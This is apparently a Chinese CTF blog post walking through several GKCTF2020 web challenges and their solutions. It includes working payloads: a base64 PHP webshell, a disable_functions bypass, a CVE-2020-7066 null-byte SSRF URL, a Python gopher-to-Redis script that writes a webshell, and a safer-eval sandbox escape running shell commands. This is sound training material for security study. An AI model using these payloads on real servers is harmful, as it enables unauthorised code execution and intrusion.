[GKCTF2020]CheckIN
解題思路
打開直接是源碼:
<title>Check_In</title>
<?php
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}
public function x()
{
return $_REQUEST;
}
}
new ClassName();
直接是代碼執行,沒有過濾,只是base64編碼了ginkgo傳入的參數.那么我們直接蟻劍連接shell.
eval($_POST["pass"]);
ZXZhbCgkX1BPU1RbInBhc3MiXSk7
正好與我前面的一篇博客相類似:
看到根目錄下有flag和readflag文件,同時flag文件為空,readflag文件為二進制執行文件。打開虛擬終端無權限使用/readflag
php-gc-bypass
pwn("/readflag");
把poc放在/tmp目錄中(一般都可寫入文件),訪問include("/tmp/123.php");,使用Ginkgo傳參訪問,即可獲得flag
知識點
php_bypass_disable_functions
[GKCTF2020]cve版簽到
解題思路
有hint:cve-2020-7066,就是不知道是剛開始就有的,還是后面放出來的,如果不知道這個CVE可能會卡着。
題目描述You just view *.ctfhub.com。結合cve可知,get_headers()函數存在漏洞,使用%00即可截斷,上面網頁中也有例子。"http://localhost\0.example.com";\0截斷后,其實訪問的是localhost.那么payload就很明顯了直接構造
http://11f22866-0e4a-4964-aefa-62d81d755716.node3.buuoj.cn/?url=http://localhost.ctfhub.com
結尾只能是123
知識點
cve-2020-7066
[GKCTF2020]老八小超市兒
解題思路
打開網頁一看是cms,我的第一反應是直接網上尋找有沒有現成的滲透思路
直接搜索ShopXO v1.8.0漏洞
滲透測試|shopxo后台全版本獲取shell復現 跟着走一遍即可,挺簡單的,應該沒什么問題
[GKCTF2020]EZ三劍客-EzWeb
解題思路
打開網頁寫了個提交按鈕,看樣子是跳轉url,簡單嘗試下無果,127.0.0.1應該是在黑名單里了。查看源碼,發現?secret,在框里提交,沒用。再嘗試在url上提交,發現給了IP地址。考慮內網滲透
c段掃描,發現在173.136.207.11下開啟服務。
此時,使用burpsuite,掃描端口
如果報錯429說明訪問太快,number of threads 設置小一點
掃描發現開啟6379端口,這里積累一下
常見端口:6379端口(redis)或3306端口(mysql)
ssrf常見的攻擊方式可以用絕對路徑寫webshell,利用gopher協議打ssrf
import urllib
protocol="gopher://"
ip="payload"
port="payload"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
這是構造redis命令的,並轉化為redis RESP協議的poc,在ip和port處添加,運行在python2環境下
將生成的payload打在框里
訪問173.136.207.11/shell.php,即可獲得flag
知識點
- ssrf
- redis配合gopher協議getshell
博客
這里有一篇總結的非常好的師傅博文,可以看看
[GKCTF2020]EZ三劍客-EzNode
解題思路
看題目名字應該是node.js,進去是一個計算器。測試發現都是timeout,查看源碼
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老板說讓我優化一下速度,我就直接這樣寫了,其他人寫了啥關我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {
}
}, 1000);
} else {
next();
}
});
解釋這段代碼:
調用express,寫一個路由app.use。如果路徑為eval,將delay賦值為60000,輸出delay值。
將delay返回成一個整數,並判斷如果是整數則返回true。返回delay的最大值。
如果執行的代碼超過6s,才能執行/eval
interger超過2147483647可以使int溢出
繞過成功
發現引用了一個庫safer-eval,那我們先找下關於這個庫的內容或漏洞。搜索發現CVE-2019-10759,safer-eval代碼注入漏洞。需要safer-eval 1.3.2。查看版本發現safer-eval =1.3.6。不符合
在github中又發現有sandbox escape,關於沙箱逃逸,原型鏈污染,我還不是特別懂,這個人說了One can break out of the sandbox with the following code in node:,那通過此poc可以逃逸出沙箱
利用poc:
const saferEval = require("./src/index");
const theFunction = function () {
const process = clearImmediate.constructor("return process;")();
return process.mainModule.require("child_process").execSync("whoami").toString()
};
const untrusted = `(${theFunction})()`;
console.log(saferEval(untrusted));
即參數e的值等於process
e=clearImmediate.constructor("return process;")().mainModule.require("child_process").execSync("cat /flag").toString()
有師傅總結了相關內容,之后再學習:鏈接
知識點
沙箱逃逸
[GKCTF2020]EZ三劍客-EzTypecho
解題思路
點開網頁,看着是要裝一個Typecho軟件,先跟着來。默認設置安裝報錯,“不,你不想安裝”,一開始以為是自己電腦配置問題,一度懷疑人生,后面搜索,正好發現一篇文章
講述install.php下,存在反序列化漏洞。跟着來,大同小異,跟着走,poc一打就差不多了
總結
本次比賽習題以已知的cve,軟件,cms漏洞為主,主要是要會看師傅們的博客,搜索到相關的解題思路,exp,通過別人的exp學習。總結了搜索cve等漏洞的一些途徑:國家信息安全漏洞共享平台,github,freebuf,https://bugs.php.net/
有很多的比賽都不是出的新題,以已知的漏洞為基礎,進行一些變更,所以多看相關文章才是王道